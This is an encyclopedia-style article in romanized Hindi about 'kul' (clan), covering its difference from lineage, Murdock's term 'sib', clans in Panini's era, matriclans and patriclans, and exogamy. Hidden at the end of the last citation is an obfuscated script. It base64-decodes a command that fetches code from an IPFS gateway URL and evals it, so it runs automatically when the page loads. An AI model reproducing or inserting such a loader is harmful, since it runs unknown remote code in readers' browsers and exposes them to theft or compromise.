कुल
kul se tatpary hai ki ek aisa samooh hai, jisake sadasyoan mean rakt ka sanbandh ho, jo ek paranparagat vanshanukram bandhan ko svikar karate hoan, bhale hi ye matrirekhiy hoan ya pitrirekhiy, par jo vastavik pidhiyoan ke sanbandhoan ko batalane mean hamesha asamarth rahe.[1]
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vansh
rakt sanbandhi pidhiyoan ke sanbandh ko spasht roop se batala sakane vale samooh ko 'vansh' kaha jata hai. mardak ne 'kul' ke lie aangrezi mean 'sib' shabd ka prayog kiya hai. mardak ke pahale any manavashastriyoan ne 'sib' ka any arthoan mean bhi prayog kiya tha. vansh ki tulana mean 'kul' shabd ki aspashtata mardak ke 'sib' shabd ke prayog ke anuroop hi haian.
paninikalin bharatavarsh mean parivar ki sankhya kul thi.[2] kul ki pratishtha par prachin bharatiy bahut dhyan dete the. yooan to samaj mean charoan or kul hi kul the, kiantu utkrisht kuloan ki ganana mean sthan pa lena kul sankhya prapt karane ka adarsh tha. mahabharat mean bhi is prakar ke mahakuloan prashansa ki gee hai, isase yah anuman lagaya ja sakata hai ki mahakul mean utpann vyakti ke lie bhasha mean panini nirdisht kee shabdoan ki akaanksha thi.[3]
matrikul aur pitrikul
kisi kul ke vyakti pita se apani anugatata batalate haian to aise samooh ko 'pitrikul' kaha jata hai. yadi kisi kul ke vyakti mata se apani anugatata batalate haian to aise samooh ko 'matrikul' kaha jata hai. isalie ye donoan samooh kramash: 'pitrirekhiy' aur 'matrirekhiy' kahalate haian. pitrikuloan mean sanpati ke uttaradhikari ke niyam ke anusar pita se putr ko sanpati ka uttaradhikar milata hai.
bahirvivah
any rakt sanbandhi ekarekhiy samoohoan ki bhaanti kul mean bhi bahirvivah ke niyam ka palan hota haian. samany roop se ek kul mean bhi anek vansh hote haian, isiliye kul ke bahar vivah karane ka tatpary vansh ke bahar bhi vivah karana hai. kuchh samajoan mean vansh hote haian par kul nahian hote aur kuchh samajoan mean vansh aur kul ke bich mean upakul bhi hote haian.
- REDIRECTsaancha:inhean bhi dekhean
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tika tippani aur sandarbh
- ↑ kul (hindi). . abhigaman tithi: 11 march, 2014.
- ↑ 4/1/ 139 :4/2/ 96
- ↑ paninikalin bharat |lekhak: vasudevasharan agraval |prakashak: chaukhamba vidyabhavan, varanasi-1 |sankalan: bharatakosh pustakalay |prishth sankhya: 109-110 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>